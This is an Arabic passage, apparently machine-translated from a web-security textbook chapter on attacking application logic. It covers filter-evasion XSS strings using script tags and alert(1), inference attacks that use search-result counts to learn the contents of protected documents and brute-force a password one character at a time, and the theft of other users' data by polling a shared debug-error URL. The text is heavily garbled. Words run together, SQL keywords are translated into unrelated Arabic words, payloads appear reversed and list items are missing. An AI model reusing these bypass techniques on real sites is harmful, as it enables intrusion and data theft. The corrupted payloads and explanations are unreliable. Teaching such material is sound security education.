ﺩﻭﻥّﺃﻱ ﺣﺎﻻﺕ ﻳﻌُﺪﻝِّ ﻓﻴﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ ﻣﺪُﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ،ﻻ ﺳﻴﻤﺎ ﻋﻦ ﻃﺮﻳﻖ ﺍﻗﺘﻄﺎﻋﻬﺎ ،ﺃﻭ ﺇﺯﺍﻟﺔ
ﺑﻴﺎﻧﺎﺕﻣﻨﻬﺎ ،ﺃﻭ ﺗﺮﻣﻴﺰﻫﺎ ،ﺃﻭ ﻓﻚ ﺗﺮﻣﻴﺰﻫﺎ .ﻓﻲ ﺃﻱ ﺣﺎﻻﺕ ﻣﻼُﺣﻈﺔ ،ﺣﺪﺩِّ ﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ
ﺍﺧﺘﻼﻕﺳﻠﺴﻠﺔ ﺿﺎﺭﺓ:
.١ﺇﺫﺍ ﺗﻢ ﺗﺠﺮﻳﺪ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻣﺮﺓ ﻭﺍﺣﺪﺓ )ﺑﺸﻜﻞ ﻏﻴﺮ ﻣﺘﻜﺮﺭ( ،ﻓﺤﺪﺩ ﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﺑﺈﻣﻜﺎﻧﻚ ﺇﺭﺳﺎﻝ
ﺳﻠﺴﻠﺔﻧﺼﻴﺔ ﺗﻌُﻮﺽّ ﺫﻟﻚ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺇﺫﺍ ﻗﺎﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺘﺼﻔﻴﺔ ﻛﻠﻤﺎﺕ SQL
ﺍﻟﺮﺉﻴﺴﻴﺔﻣﺜﻞﻳﺨﺘﺎﺭ،ﻳﻘُﺪﻡِّﺳﻴﻠﻜﺘﻜﺖﻭﺍﻧﻈﺮ ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﺮﺷﻴﺢ ﺍﻟﻨﺎﺗﺞ ﻳﺰﻳﻞ ﺍﻟﺠﺰء ﺍﻟﺪﺍﺧﻠﻲ
ﻳﺨﺘﺎﺭﺳﻠﺴﻠﺔ ﻓﺮﻋﻴﺔ ،ﻣﻊ ﺗﺮﻙ ﺍﻟﻜﻠﻤﺔﻳﺨﺘﺎﺭ.
.٢ﺇﺫﺍ ﺗﻢ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺻﺤﺔ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺑﺘﺮﺗﻴﺐ ﻣﺤﺪﺩ ،ﻭﻋﺪﻟّﺖ ﻋﻤﻠﻴﺔ ﺗﺤﻘﻖ ﻭﺍﺣﺪﺓ ﺃﻭ ﺃﻛﺜﺮ
ﺍﻟﺒﻴﺎﻧﺎﺕ،ﻓﺤﺪﺩ ﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ ﺫﻟﻚ ﻟﺘﺠﺎﻭﺯ ﺇﺣﺪﻯ ﺧﻄﻮﺍﺕ ﺍﻟﺘﺤﻘﻖ
ﺍﻟﺴﺎﺑﻘﺔ.ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺇﺫﺍ ﻗﺎﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﻔﻚ ﺗﺸﻔﻴﺮ ﻋﻨﺎﻭﻳﻦ URLﺛﻢ ﺃﺯﺍﻝ ﺑﻴﺎﻧﺎﺕ
ﺿﺎﺭﺓﻣﺜﻞ >ﻧﺺ<ﺍﻟﻌﻼﻣﺔ ،ﻗﺪ ﻳﻜﻮﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺍﻟﺘﻐﻠﺐ ﻋﻠﻰ ﺫﻟﻚ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺳﻼﺳﻞ ﻣﺜﻞ:
/ script%>script<3e
%>script<3cscript%>script<3ealert)1(%>script<3c
ﻣﻠﺤﻮﻇﺔﻏﺎﻟﺒﺎً ﻣﺎ ﺗﻘﻮﻡ ﻣﺮﺷﺤﺎﺕ ﻧﺼﻮﺹ ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﻤﺘﻘﺎﻃﻌﺔ ﺑﺈﺯﺍﻟﺔ ﺟﻤﻴﻊ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺘﻲ
ﺗﺤﺪﺙﺑﻴﻦ ﺃﺯﻭﺍﺝ ﻋﻼﻣﺎﺕ ،HTMLﻣﺜﻞ >tag1<aaaaaa>/tag1<.ﻏﺎﻟﺒﺎً ﻣﺎ ﺗﻜﻮﻥ ﻫﺬﻩ ﺍﻷﺟﻬﺰﺓ
ﻋﺮﺿﺔﻟﻬﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﻬﺠﻮﻡ.
ﺍﻟﻮﻇﻴﻔﺔ
ﺃﺗﺎﺡﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﺃﺭﺷﻴﻒ ﺿﺨﻢ ﻣﻦ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﺘﺎﺭﻳﺨﻴﺔ ﻭﺍﻟﺤﺎﻟﻴﺔ ،ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ﺗﻘﺎﺭﻳﺮ
ﻭﺣﺴﺎﺑﺎﺕﺍﻟﺸﺮﻛﺎﺕ ،ﻭﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺼﺤﻔﻴﺔ ،ﻭﺗﺤﻠﻴﻼﺕ ﺍﻟﺴﻮﻕ ،ﻭﻣﺎ ﺇﻟﻰ ﺫﻟﻚ .ﻭﻛﺎﻧﺖ ﻣﻌﻈﻢ ﻫﺬﻩ
ﺍﻟﻤﻌﻠﻮﻣﺎﺕﻣﺘﺎﺣﺔ ﻓﻘﻂ ﻟﻠﻤﺸﺘﺮﻛﻴﻦ ﺍﻟﺬﻳﻦ ﻳﺪﻓﻌﻮﻥ ﺍﺷﺘﺮﺍﻛﺎً.
ﻭﻓﺮّﺍﻟﺘﻄﺒﻴﻖ ﻭﻇﻴﻔﺔ ﺑﺤﺚ ﻓﻌﺎّﻟﺔ ﻭﺩﻗﻴﻘﺔ ﻳﻤُﻜﻦ ﻟﺠﻤﻴﻊ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻴﻬﺎ .ﻋﻨﺪﻣﺎ
ﻳﺠُﺮﻱﻣﺴﺘﺨﺪﻡ ﻣﺠﻬﻮﻝ ﺍﺳﺘﻌﻼﻣﺎً ،ﺗﻌُﻴﺪ ﻭﻇﻴﻔﺔ ﺍﻟﺒﺤﺚ ﺭﻭﺍﺑﻂ ﻟﺠﻤﻴﻊ ﺍﻟﻤﺴﺘﻨﺪﺍﺕ ﺍﻟﻤﻄُﺎﺑﻘﺔ
ﻟﻼﺳﺘﻌﻼﻡ.ﻣﻊ ﺫﻟﻚ ،ﻛﺎﻥ ﻋﻠﻰ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻻﺷﺘﺮﺍﻙ ﻻﺳﺘﺮﺟﺎﻉ ﺃﻱ ٍّﻣﻦ ﺍﻟﻤﺴﺘﻨﺪﺍﺕ ﺍﻟﻤﺤﻤﻴﺔ ﺍﻟﺘﻲ
ﺃﻋﺎﺩﻫﺎﺍﺳﺘﻌﻼﻣﻪ .ﺍﻋﺘﺒﺮ ﻣﻄُﻮﺭّﻭ ﺍﻟﺘﻄﺒﻴﻖ ﻫﺬﺍ ﺍﻟﺴﻠﻮﻙ ﺗﻜﺘﻴﻜﺎً ﺗﺴﻮﻳﻘﻴﺎً ﻣﺠُﺪﻳﺎً.
ﺍﻻﻓﺘﺮﺍﺽ
ﺍﻓﺘﺮﺽﻣﺼُﻤﻢ ﺍﻟﺘﻄﺒﻴﻖ ﺃﻧﻪ ﻻ ﻳﻤُﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﺳﺘﺨﺪﺍﻡ ﻭﻇﻴﻔﺔ ﺍﻟﺒﺤﺚ ﻻﺳﺘﺨﺮﺍﺝ ﺃﻱ
ﻣﻌﻠﻮﻣﺎﺕﻣﻔﻴﺪﺓ ﺩﻭﻥ ﺩﻓﻊ ﺭﺳﻮﻡ .ﻭﻛﺎﻧﺖ ﻋﻨﺎﻭﻳﻦ ﺍﻟﻤﺴﺘﻨﺪﺍﺕ ﺍﻟﻤﺪُﺭﺟﺔ ﻓﻲ ﻧﺘﺎﺉﺞ ﺍﻟﺒﺤﺚ ﻏﺎﻣﻀﺔ
ﻋﺎﺩﺓً،ﻣﺜﻞ "ﺍﻟﻨﺘﺎﺉﺞ ﺍﻟﺴﻨﻮﻳﺔ ﻟﻌﺎﻡ ،"٢٠١٠ﻭ"ﺑﻴﺎﻥ ﺻﺤﻔﻲ ﺑﺘﺎﺭﻳﺦ ،"٢٠١١-٠٣-٠٨ﻭﻣﺎ ﺇﻟﻰ ﺫﻟﻚ.
ﺍﻟﻬﺠﻮﻡ
ﻷﻥﻭﻇﻴﻔﺔ ﺍﻟﺒﺤﺚ ﺗﺸُﻴﺮ ﺇﻟﻰ ﻋﺪﺩ ﺍﻟﻤﺴﺘﻨﺪﺍﺕ ﺍﻟﻤﻄُﺎﺑﻘﺔ ﻻﺳﺘﻌﻼﻡ ﻣﻌُﻴﻦ ،ﻳﻤُﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻡ
ﺍﻟﻤﺤُﻨﻚّﺇﺟﺮﺍء ﻋﺪﺩ ﻛﺒﻴﺮ ﻣﻦ ﺍﻻﺳﺘﻌﻼﻣﺎﺕ ﻭﺍﺳﺘﺨﺪﺍﻡ ﺍﻻﺳﺘﺪﻻﻝ ﻻﺳﺘﺨﺮﺍﺝ ﻣﻌﻠﻮﻣﺎﺕ ﻣﻦ ﻭﻇﻴﻔﺔ
ﺍﻟﺒﺤﺚ،ﻭﺍﻟﺘﻲ ﻋﺎﺩﺓ ًﻣﺎ ﺗﻜﻮﻥ ﻣﻜُﻠﻔﺔ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻳﻤُﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻻﺳﺘﻌﻼﻣﺎﺕ ﺍﻟﺘﺎﻟﻴﺔ
ﻟﻠﺘﺮﻛﻴﺰﻋﻠﻰ ﻣﺤﺘﻮﻳﺎﺕ ﻣﺴﺘﻨﺪ ﻣﺤُﻤﻲ ّﻣﺤُﺪﺩ:
ﻭﺍﻩﻟﻼﺳﺘﺸﺎﺭﺍﺕ
< < 276ﻣﺒﺎﺭﺍﺓ
ﺍﻧﺪﻣﺎﺝﺷﺮﻛﺔ ﻭﺍﻩ ﺍﻻﺳﺘﺸﺎﺭﻳﺔ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ﺑﺘﺎﺭﻳﺦ "2011-03-08
< < 0ﻣﺒﺎﺭﺍﺓ
ﺇﺻﺪﺍﺭﺃﺳﻬﻢ ﺷﺮﻛﺔ ﻭﺍﻩ ﺍﻻﺳﺘﺸﺎﺭﻳﺔ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ﺑﺘﺎﺭﻳﺦ "2011-03-08
< < 0ﻣﺒﺎﺭﺍﺓ
ﻭﺍﻩﺍﻻﺳﺘﺸﺎﺭﻳﺔ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ "2011-03-08ﺃﺭﺑﺎﺡ
< < 0ﻣﺒﺎﺭﺍﺓ
ﺍﺳﺘﺤﻮﺍﺫﺷﺮﻛﺔ ﻭﺍﻩ ﺍﻻﺳﺘﺸﺎﺭﻳﺔ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ﺑﺘﺎﺭﻳﺦ "2011-03-08
< < 1ﻣﺒﺎﺭﺍﺓ
ﻭﺍﻩﻟﻼﺳﺘﺸﺎﺭﺍﺕ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ "2011-03-08ﺍﺳﺘﺤﻮﺍﺫ ﺷﺮﻛﺔ ﻫﺎﻛﺴﻮﺭﺯ
< < 0ﻣﺒﺎﺭﺍﺓ
ﺍﺳﺘﺤﻮﺍﺫﺷﺮﻛﺔ ﻭﺍﻩ ﻟﻼﺳﺘﺸﺎﺭﺍﺕ ﻋﻠﻰ ﺷﺮﻛﺔ ﺃﻭﺑﺮﻟﻴﺖ ﺍﻟﻤﺤﺪﻭﺩﺓ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ﺑﺘﺎﺭﻳﺦ "2011-03-08
< < 0ﻣﺒﺎﺭﺍﺓ
ﻭﺍﻩﺍﻻﺳﺘﺸﺎﺭﻳﺔ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ "2011-03-08ﻧﺺ ﺍﻻﺳﺘﺤﻮﺍﺫ ﻋﻠﻰ ﺷﺮﻛﺔ ﻛﻴﺪﻱ
< < 0ﻣﺒﺎﺭﺍﺓ
ﺍﺳﺘﺤﻮﺍﺫﺷﺮﻛﺔ ﻭﺍﻩ ﺍﻻﺳﺘﺸﺎﺭﻳﺔ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ﺑﺘﺎﺭﻳﺦ "2011-03-08
< < 1ﻣﺒﺎﺭﺍﺓ
ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ 424
ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺃﻥ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻻ ﻳﺴﺘﻄﻴﻊ ﻋﺮﺽ ﺍﻟﻤﺴﺘﻨﺪ ﻧﻔﺴﻪ ،ﺇﻻ ﺃﻧﻪ ﻣﻊ ﻭﺟﻮﺩ ﺧﻴﺎﻝ ﻛﺎﻑ ٍ
ﻭﺍﺳﺘﺨﺪﺍﻡﺍﻟﻄﻠﺒﺎﺕ ﺍﻟﻨﺼﻴﺔ ،ﻗﺪ ﻳﻜﻮﻥ ﻗﺎﺩﺭﺍً ﻋﻠﻰ ﺑﻨﺎء ﻓﻬﻢ ﺩﻗﻴﻖ ﺇﻟﻰ ﺣﺪ ﻣﺎ ﻟﻤﺤﺘﻮﻳﺎﺗﻪ.
ﻧﺼﻴﺤﺔﻓﻲ ﻣﻮﺍﻗﻒ ﻣﻌﻴﻨﺔ ،ﻗﺪ ﺗﻜﻮﻥ ﺍﻟﻘﺪﺭﺓ ﻋﻠﻰ ﺍﺳﺘﺨﺮﺍﺝ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﻋﺒﺮ ﻭﻇﻴﻔﺔ ﺍﻟﺒﺤﺚ ﺑﻬﺬﻩ
ﺍﻟﻄﺮﻳﻘﺔﺃﻣﺮﺍً ﺑﺎﻟﻎ ﺍﻷﻫﻤﻴﺔ ﻷﻣﻦ ﺍﻟﺘﻄﺒﻴﻖ ﻧﻔﺴﻪ ،ﻭﺍﻟﻜﺸﻒ ﺑﺸﻜﻞ ﻓﻌﺎﻝ ﻋﻦ ﺗﻔﺎﺻﻴﻞ ﺍﻟﻮﻇﺎﺉﻒ
ﺍﻹﺩﺍﺭﻳﺔﻭﻛﻠﻤﺎﺕ ﺍﻟﻤﺮﻭﺭ ﻭﺍﻟﺘﻘﻨﻴﺎﺕ ﺍﻟﻤﺴﺘﺨﺪﻣﺔ.
ﻧﺼﻴﺤﺔﺃﺛﺒﺘﺖ ﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ ﻓﻌﺎﻟﻴﺘﻬﺎ ﻓﻲ ﺍﺧﺘﺮﺍﻕ ﺑﺮﺍﻣﺞ ﺇﺩﺍﺭﺓ ﺍﻟﻤﺴﺘﻨﺪﺍﺕ ﺍﻟﺪﺍﺧﻠﻴﺔ .ﺍﺳﺘﺨﺪﻡ
ﺍﻟﺒﺎﺣﺜﻮﻥﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ ﻻﺧﺘﺮﺍﻕ ﻛﻠﻤﺔ ﻣﺮﻭﺭ ﺭﺉﻴﺴﻴﺔ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺍﻟﻘﻮﺓ ﺍﻟﻐﺎﺷﻤﺔ ﻣﻦ ﻣﻠﻒ ﺗﻜﻮﻳﻦ
ﻣﺨُﺰﻥّﻓﻲ ﻭﻳﻜﻲ .ﻭﻷﻥ ﺍﻟﻮﻳﻜﻲ ﻛﺎﻥ ﻳﻈُﻬﺮ ﻧﺘﻴﺠﺔ ًﺇﺫﺍ ﻇﻬﺮﺕ ﺳﻠﺴﻠﺔ ﺍﻟﺒﺤﺚ ﻓﻲ ﺃﻱ ﻣﻜﺎﻥ ﻓﻲ
ﺍﻟﺼﻔﺤﺔ)ﺑﺪﻻ ًﻣﻦ ﻣﻄﺎﺑﻘﺔ ﺍﻟﻜﻠﻤﺎﺕ ﻛﺎﻣﻠﺔ(ً ،ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺍﺧﺘﺮﺍﻕ ﻛﻠﻤﺔ ﺍﻟﻤﺮﻭﺭ ﺣﺮﻓﺎً ﺣﺮﻓﺎً،
ﺑﺎﻟﺒﺤﺚﻋﻦ ﺍﻟﺘﺎﻟﻲ:
ﻛﻠﻤﺔﺍﻟﻤﺮﻭﺭ=ﺃ
ﻛﻠﻤﺔﺍﻟﻤﺮﻭﺭ=ﺏ
ﻛﻠﻤﺔﺍﻟﻤﺮﻭﺭ=BA
...
ﺍﻟﻮﻇﻴﻔﺔ
ﺗﻢﻧﺸﺮ ﺍﻟﺘﻄﺒﻴﻖ ﻣﺆﺧﺮﺍً .ﻭﻣﺜﻞ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﺠﺪﻳﺪﺓ ،ﻻ ﻳﺰﺍﻝ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﻋﺪﺩ ﻣﻦ ﺍﻷﺧﻄﺎء
ﺍﻟﻮﻇﻴﻔﻴﺔ.ﺑﻴﻦ ﺍﻟﺤﻴﻦ ﻭﺍﻵﺧﺮ ،ﺗﻔﺸﻞ ﻋﻤﻠﻴﺎﺕ ﻣﺨﺘﻠﻔﺔ ﺑﺸﻜﻞ ﻏﻴﺮ ﻣﺘﻮﻗﻊ ،ﻭﻳﺘﻠﻘﻰ ﺍﻟﻤﺴﺘﺨﺪﻣﻮﻥ
ﺭﺳﺎﺉﻞﺧﻄﺄ.
ﻟﺘﺴﻬﻴﻞﺍﻟﺘﺤﻘﻴﻖ ﻓﻲ ﺍﻷﺧﻄﺎء ،ﻗﺮﺭ ﺍﻟﻤﻄﻮﺭﻭﻥ ﺗﻀﻤﻴﻦ ﻣﻌﻠﻮﻣﺎﺕ ﻣﻔﺼﻠﺔ ﻭﻣﻄﻮﻟﺔ ﻓﻲ ﻫﺬﻩ
ﺍﻟﺮﺳﺎﺉﻞ،ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ﺍﻟﺘﻔﺎﺻﻴﻞ ﺍﻟﺘﺎﻟﻴﺔ:
ﻫﻮﻳﺔﺍﻟﻤﺴﺘﺨﺪﻡ -
ﺃﺛﺒﺖﺇﻧﺸﺎء ﻫﺬﻩ ﺍﻟﺮﺳﺎﺉﻞ ﻓﺎﺉﺪﺗﻪ ﻋﻨﺪﻣﺎ ﺣﺎﻭﻝ ﻣﻮﻇﻔﻮ ﺧﺪﻣﺔ ﺍﻟﻌﻤﻼء ﺍﻟﺘﺤﻘﻴﻖ ﻓﻲ ﺃﻋﻄﺎﻝ
ﺍﻟﻨﻈﺎﻡﻭﺍﻟﺘﻌﺎﻓﻲ ﻣﻨﻬﺎ .ﻛﻤﺎ ﺳﺎﻋﺪﻭﺍ ﻓﻲ ﺇﺻﻼﺡ ﺍﻷﺧﻄﺎء ﺍﻟﻮﻇﻴﻔﻴﺔ ﺍﻟﻤﺘﺒﻘﻴﺔ.
ﺍﻻﻓﺘﺮﺍﺽ
ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺍﻟﺘﺤﺬﻳﺮﺍﺕ ﺍﻟﻤﻌﺘﺎﺩﺓ ﻣﻦ ﻣﺴﺘﺸﺎﺭﻱ ﺍﻷﻣﻦ ﻣﻦ ﺍﺣﺘﻤﺎﻝ ﺇﺳﺎءﺓ ﺍﺳﺘﺨﺪﺍﻡ ﺭﺳﺎﺉﻞ
ﺍﻟﺘﺼﺤﻴﺢﺍﻟﻤﻄُﻮﻟّﺔ ﻣﻦ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﻗﺒِﻞ ﺍﻟﻤﻬﺎﺟﻤﻴﻦ ،ﺍﺳﺘﻨﺘﺞ ﺍﻟﻤﻄﻮﺭﻭﻥ ﺃﻧﻬﻢ ﻟﻢ ﻳﻜُﺘﺸﻔﻮﺍ ﺃﻱ
ﺛﻐﺮﺓﺃﻣﻨﻴﺔ .ﻳﻤﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻡ ﺍﻟﺤﺼﻮﻝ ﺑﺴﻬﻮﻟﺔ ﻋﻠﻰ ﺟﻤﻴﻊ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﻮﺍﺭﺩﺓ ﻓﻲ ﺭﺳﺎﻟﺔ
ﺍﻟﺘﺼﺤﻴﺢﻣﻦ ﺧﻼﻝ ﻓﺤﺺ ﺍﻟﻄﻠﺒﺎﺕ ﻭﺍﻻﺳﺘﺠﺎﺑﺎﺕ ﺍﻟﺘﻲ ﻳﻌﺎﻟﺠﻬﺎ ﻣﺘﺼﻔﺤﻪ .ﻟﻢ ﺗﺘﻀﻤﻦ ﺍﻟﺮﺳﺎﺉﻞ
ﺃﻱﺗﻔﺎﺻﻴﻞ ﺣﻮﻝ ﺍﻟﻌﻄﻞ ﺍﻟﻔﻌﻠﻲ ،ﻣﺜﻞ ﺗﺘﺒﻌﺎﺕ ﺍﻟﻤﻜﺪﺱ ،ﻟﺬﺍ ﻣﻦ ﺍﻟﻤﺤُﺘﻤﻞ ﺃﻧﻬﺎ ﻟﻢ ﺗﺴُﺎﻋﺪ ﻓﻲ
ﺻﻴﺎﻏﺔﻫﺠﻮﻡ ﺿﺪ ﺍﻟﺘﻄﺒﻴﻖ.
ﺍﻟﻬﺠﻮﻡ
ﻭﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺗﻔﻜﻴﺮﻫﻢ ﺑﺸﺄﻥ ﻣﺤﺘﻮﻳﺎﺕ ﺭﺳﺎﺉﻞ ﺍﻟﺘﺼﺤﻴﺢ ،ﺇﻻ ﺃﻥ ﺍﻓﺘﺮﺍﺽ ﺍﻟﻤﻄﻮﺭﻳﻦ ﻛﺎﻥ
ﺧﺎﻃﺉﺎًﺑﺴﺒﺐ ﺍﻷﺧﻄﺎء ﺍﻟﺘﻲ ﺍﺭﺗﻜﺒﻮﻫﺎ ﻓﻲ ﺗﻨﻔﻴﺬ ﺇﻧﺸﺎء ﺭﺳﺎﺉﻞ ﺍﻟﺘﺼﺤﻴﺢ.
ﻋﻨﺪﺣﺪﻭﺙ ﺧﻄﺄ ،ﻳﺠﻤﻊ ﺃﺣﺪ ﻣﻜﻮﻧﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ ﺟﻤﻴﻊ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﻤﻄﻠﻮﺑﺔ ﻭﻳﺨﺰﻧﻬﺎ .ﻳﺮُﺳﻞ
ﻟﻠﻤﺴﺘﺨﺪﻡﺇﻋﺎﺩﺓ ﺗﻮﺟﻴﻪ HTTPﺇﻟﻰ ﻋﻨﻮﺍﻥ URLﻳﻌﺮﺽ ﻫﺬﻩ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﻤﺨﺰﻧﺔ .ﺗﻜﻤﻦ ﺍﻟﻤﺸﻜﻠﺔ
ﻓﻲﺃﻥ ﺗﺨﺰﻳﻦ ﺍﻟﺘﻄﺒﻴﻖ ﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﺘﺼﺤﻴﺢ ،ﻭﻭﺻﻮﻝ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺇﻟﻰ ﺭﺳﺎﻟﺔ ﺍﻟﺨﻄﺄ ،ﻟﻢ ﻳﻜﻦ ﻗﺎﺉﻤﺎً
ﻋﻠﻰﺍﻟﺠﻠﺴﺔ .ﺑﻞ ﻛﺎﻧﺖ ﻣﻌﻠﻮﻣﺎﺕ ﺍﻟﺘﺼﺤﻴﺢ ﺗﺨُﺰﻥ ﻓﻲ ﺣﺎﻭﻳﺔ ﺛﺎﺑﺘﺔ ،ﻭﻛﺎﻥ ﻋﻨﻮﺍﻥ URLﻟﺮﺳﺎﻟﺔ
ﺍﻟﺨﻄﺄﻳﻌﺮﺽ ﺩﺍﺉﻤﺎً ﺁﺧﺮ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﺘﻲ ﻭﺿُﻌﺖ ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻭﻳﺔ .ﺍﻓﺘﺮﺽ ﺍﻟﻤﻄﻮﺭﻭﻥ ﺃﻥ
ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﺍﻟﺬﻳﻦ ﻳﺘﺒﻌﻮﻥ ﺇﻋﺎﺩﺓ ﺍﻟﺘﻮﺟﻴﻪ ﺳﻴﺸﺎﻫﺪﻭﻥ ﻓﻘﻂ ﻣﻌﻠﻮﻣﺎﺕ ﺍﻟﺘﺼﺤﻴﺢ ﺍﻟﻤﺘﻌﻠﻘﺔ
ﺑﺨﻄﺄﻫﻢ.
ﻓﻲﺍﻟﻮﺍﻗﻊ ،ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﻗﺪ ﻳﻌُﺮﺽ ﻋﻠﻰ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﻌﺎﺩﻳﻴﻦ ﺃﺣﻴﺎﻧﺎً ﻣﻌﻠﻮﻣﺎﺕ ﺗﺼﺤﻴﺢ
ﺍﻷﺧﻄﺎءﺍﻟﻤﺘﻌﻠﻘﺔ ﺑﺨﻄﺄ ﻣﺴﺘﺨﺪﻡ ﺁﺧﺮ ،ﻧﻈﺮﺍً ﻟﻮﻗﻮﻉ ﺍﻟﺨﻄﺄﻳﻦ ﻓﻲ ﻭﻗﺖ ﻭﺍﺣﺪ ﺗﻘﺮﻳﺒﺎً .ﻭﻟﻜﻦ ﺑﺼﺮﻑ
ﺍﻟﻨﻈﺮﻋﻦ ﺍﻟﺘﺴﺎﺅﻻﺕ ﺣﻮﻝ ﺳﻼﻣﺔ ﺳﻼﺳﻞ ﺍﻟﻌﻤﻠﻴﺎﺕ )ﺍﻧﻈﺮ ﺍﻟﻤﺜﺎﻝ ﺍﻟﺘﺎﻟﻲ( ،ﻟﻢ ﻳﻜﻦ ﻫﺬﺍ ﻣﺠﺮﺩ ﺣﺎﻟﺔ
ﺗﺴﺎﺑﻖ.ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺍﻟﺬﻱ ﻳﻜﺘﺸﻒ ﺁﻟﻴﺔ ﺍﻟﺨﻄﺄ ﺑﺒﺴﺎﻃﺔ ﺍﺳﺘﻄﻼﻉ ﻋﻨﻮﺍﻥ URLﻟﻠﺮﺳﺎﻟﺔ ﺑﺸﻜﻞ
ﻣﺘﻜﺮﺭﻭﺗﺴﺠﻴﻞ ﺍﻟﻨﺘﺎﺉﺞ ﻓﻲ ﻛﻞ ﻣﺮﺓ ﻳﻐﻴﺮ ﻓﻴﻬﺎ .ﻋﻠﻰ ﻣﺪﺍﺭ ﺑﻀﻊ ﺳﺎﻋﺎﺕ ،ﺳﻴﺤﺘﻮﻱ ﻫﺬﺍ ﺍﻟﺴﺠﻞ
ﻋﻠﻰﺑﻴﺎﻧﺎﺕ ﺣﺴﺎﺳﺔ ﺣﻮﻝ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻣﺴﺘﺨﺪﻣﻲ ﺍﻟﺘﻄﺒﻴﻖ:
ﻣﺠﻤﻮﻋﺔﻣﻦ ﺃﺳﻤﺎء ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﻓﻲ ﻫﺠﻮﻡ ﺗﺨﻤﻴﻦ ﻛﻠﻤﺔ ﺍﻟﻤﺮﻭﺭ -
ﻣﺠﻤﻮﻋﺔﻣﻦ ﺍﻟﻤﺪﺧﻼﺕ ﺍﻟﺘﻲ ﻳﻘﺪﻣﻬﺎ ﺍﻟﻤﺴﺘﺨﺪﻡ ،ﻭﺍﻟﺘﻲ ﻗﺪ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻛﻠﻤﺎﺕ ﻣﺮﻭﺭ ﻭﻋﻨﺎﺻﺮ -
ﺣﺴﺎﺳﺔﺃﺧﺮﻯ
